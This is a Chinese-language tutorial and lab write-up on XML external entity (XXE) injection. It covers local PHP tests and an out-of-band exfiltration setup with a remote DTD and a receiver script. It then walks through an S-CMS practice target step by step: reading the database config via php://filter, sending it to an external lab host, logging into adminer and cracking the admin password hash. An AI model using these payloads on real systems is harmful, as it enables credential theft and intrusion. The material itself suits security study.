XXE原理与本地测试(s-cms)
XXE
XXE -> XML 外部实体注入攻击
用户输入的数据被当作XML外部实体代码执行
XML
- 可扩展标记语言
- 类似于HTML(标签)
- 用于数据与存储传输
- 没有预定义(没有实现定义好的标签)
XML:<fenshu >98<fenshu>
典型攻击如下:
# XML 声明
<?xml version="1.0" encoding="ISO-8859-1"?>
# DTD 部分
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
# XML 部分
<foo>&xxe;</foo>
DTD 部分用于定义实体(变量)
如上写法是外部引用文件,也可如下写:"file:///c:/1.txt"
产生漏洞
外部实体:加载外部内容 => 发起请求(本地请求) SSRF
利用 XXE 的外部实体造成 SSRF 漏洞
XML 只是一段文本,但他一定会被后端代码调用
在 php 中
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>
simple_load_string()将其转化为对象,第一个参数是 XML 语句,第二个参数是被调用的类,第三个参数是替代实体
测试
我们在本地写一个xxe/1.php
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///d:/1.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
在d:/1.txt中写入长安常安
访问本地

读取文件
- 强行拆解
- 特殊传参想办法报错
- 找到报错页面、找到泄露路径
XXE 很多时候没有输出
<!ENTITY 实体名称 SYSTEM "URI/URL">
| libxml2 | PHP | Java | .NET |
|---|---|---|---|
| file、http、ftp | file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar | http、https、ftp、file、jar、netdoc、mailto、gopher * | file、http、https、ftp |
测试 2
<<<EOF此类类似于 python 的三重引号
# index.php
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/pt/1.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>
# ./pt/1.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1/xxe/pt/2.php?id=%file;'>"
>
%all;
将 file 中读取带的数据 发送到 2.php
# ./pt/2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
正常执行会生成 3.txt
访问 1.php 前的截图


访问 index.php

成功
靶场
s-cms的weixin目录下有个index.php文件,其中存在 XXE 漏洞
if($signature != "" && $echostr == "") {
$postArr = file_put_contents("php://input");
$postObj = simplexml_load_string($postArr);
. . .
}
故只要signature=1&echostr= 即可触发
../conn/conn.php中存在数据库账户及密码,故可以目录穿越到该目录下查询账户及密码
将一下内容使用post方式提交即可(删除表单头)
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../conn/conn.php">
<!ENTITY % remote SYSTEM "http://5aeg8017.ia.aqlab.cn/1.xml">
%remote;
%send;
]>
以上的第三行为需要读取的文件
第四行是“炮台”
抓包改数据

在http://5aeg8017.ia.aqlab.cn/3.txt页面可以得到网页的数据

获取到数据库的账户名及密码

链接数据库管理工具adminer.php(phpmyadmin也是)

左边有 SQL命令 的按钮,可以查找管理员账号密码:select*from SL_admin

将管理员的密码解密

这个 md5 只有这个网站能解密哦嘿嘿嘿
小拓展
攻击:日志发写shell
防御:站库分离(最好的做法就是将库搭在不连外网的Linux上)
上述靶场站点即为站库分离,他的conn连接显示的地址不是127.0.0.1

浙公网安备 33010602011771号